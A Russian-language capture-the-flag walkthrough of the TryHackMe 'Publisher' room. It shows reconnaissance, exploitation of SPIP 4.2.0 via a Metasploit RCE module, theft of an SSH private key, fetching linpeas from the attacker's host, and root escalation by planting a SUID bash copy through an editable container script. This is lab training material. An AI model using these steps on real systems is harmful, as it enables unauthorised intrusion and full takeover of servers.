tryhackme
February 17

Разбор Publisher CTF TryHackMe

Название: Publisher

Сложность: easy

Описание: В этом посте мы рассмотрим уязвимость cms "SPIP", может позволить злоумышленникам выполнить произвольный код на сервере, что представляет серьезную угрозу для безопасности веб-сайтов, использующих эту платформу.

При запуске виртуальной машины или комнаты в CTF - задании часто предоставляется динамический IP-адрес, который может изменяться при каждом новом подключении. Первым шагом, который я рекомендую выполнить, является сканирование этого адреса с помощью Nmap в Kali Linux. Это позволит определить открытые порты и службы, работающие на целевом устройстве.

nmap -sC -sV <ip addr> (глубокое сканирование и версии службы)

22 порт подключения - ssh к серверу

80 порт подключения - http://

Apache 2.4.41 - популярный веб-сервер

SPIP - это система управления контентом (CMS). Написан на PHP.

При анализе главной страницы сайта становится очевидно, что она не содержит функциональных элементов, таких как ссылки на авторизацию или регистрацию. В таких случаях для дальнейшего исследования можно использовать инструмент "ffuf", доступный в Kali Linux.

Использую распространенный словарь "directory-list-2.3-medium.txt"

ffuf -w ~/Desktop/1/3.directory-list-2.3-medium.txt -u http://<Ip addr>/FUZZ -fc 403
spip [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 66ms] - ранее его замечали на nmap.

Как мы видим произошло перенаправление страницы. Тут нас встречает строка поиска "Rechercher".

Предлагаю повнимательнее рассмотреть страницу и посмотрим код. Обнаружим версию "SPIP 4.2.0".

Использовать команду searchsploit SPIP 4.2.0 доступный в Kali Linux. Мы понимаем, что cms SPIP уязвима.

Я вам рекомендую эксплуатировать данную уязвимость через msfconsole встроенный в Kali Linux.

Уязвимость msf6 exploit(multi/http/spip_rce_form) - таким образом мы можем подключиться к web и читать все файлы, скачивать и редактировать.

Настройки:
set RHOSTS <ip addr web>

set LHOST <ваш ip addr vpn>

set TARGETURI </spip>

options - перепроверить настройки

run - запуск

Таким образом, после подключения к машине и перехода в указанную директорию"cd /home/think", чтение файла "cat user.txt" становится завершающим шагом для захвата первого флага.

User - это хорошо, а можно ещё лучше. Исследую долго все директории. Думаю ведь что-то должно меня привести к серверу и нахожу id_rsa.

id_rsa - это приватный ключ для SSH (Secure Shell), который используется для аутентификации на удалённых серверах. Удача на моей стороне :). Скачиваем ключ себе на Kali linux "cd /home/think/.ssh", "download id_rsa"

ls -l id_rsa - "права доступа к файлу"
chmod 600 id_rsa - "будет доступен только для чтения и записи владельцем"
ls -l id_rsa - "повторный вызов команды для проверки изменений прав доступа"
ssh think@10.10.120.111 -i id_rsa - "команда используется для подключения к удаленному серверу по протоколу SSH"
yes - после этого попадаем на server

Как зашли на сервер проверяем права доступа:

Права обычного пользователя :(

find / -type d -user think -writable 2>/dev/null - доступна ли запись в директорию, доступно ли чтение из директории, можно ли войти в директорию.
Воспользуемся директорией "cd /run/user/1000"

Теперь нам нужно скачать сканер с Kali Linux "linpeas.sh", прописываем wget http://<ip addr vpn>/linpeas.sh, но сначала нужно вкл. python сервер на 80 порту.

Переходим в kali linux cd ~/Desktop - где находиться "linpeas.sh", если у вас нету скачайте с github.
python -m http.server 80 - поднимаем локально сервер

chmod 700 linpeas.sh - "чтение, запись, выполнение программы"
ls -la linpeas.sh - "повторный вызов команды для проверки изменений прав доступа"
запуск программы /.linpeas.sh - "запуск сканера"

Вы заметите, что в директории /opt присутствуют скрытые контейнеры. Обратите внимание, что даже при использовании команды ls -la они не будут отображаться, так как могут быть скрыты или защищены на уровне файловой системы. Вот для этого и использовался данный сканер.

cd /opt - "перейти в директорию"

ls -la - "посмотреть все файлы"

cat run_container.sh - "посмотрели контейнер, появилась идея исполнить "/bash" суперпользователя".

find / -perm /4000 2>/dev/null - "позволяет пользователю выполнять файл с правами владельца файла, а не с правами текущего пользователя"

strings /usr/sbin/run_container - "используется для извлечения и отображения текстовых строк из бинарного файла"

/bin/bash - "поддерживает выполнение команд"

cp /bin/bash /run/user/1000 - "перекидываем в директорию в которой всё можно исполнять"

cd /opt - "переходим обратно в программное обеспечение"

nano run_container.sh - "изменить контейнер"

вставляем текст:

cp /bin/bash /tmp/bash - "копировать файл, перенаправит в директорию"

cmod +s /tmp/bash - "устанавливает с правами владельца файла, а не пользователя"

ls /tmp - "просмотреть директорию"

run_container.sh - "потом прерываем команду ctrl+c"
ls /tmp - "просмотреть директорию и увидеть bash"

ls -l /tmp/bash - "права доступа"

/tmp/bash -p - "-p заставляет bash не сбрасывать привилегии"

cd root - "перейти в учетку админа"

cat root.txt - "вытащить флаг"

Автор: https://t.me/cybersecuritybureau | Здесь еще больше разборов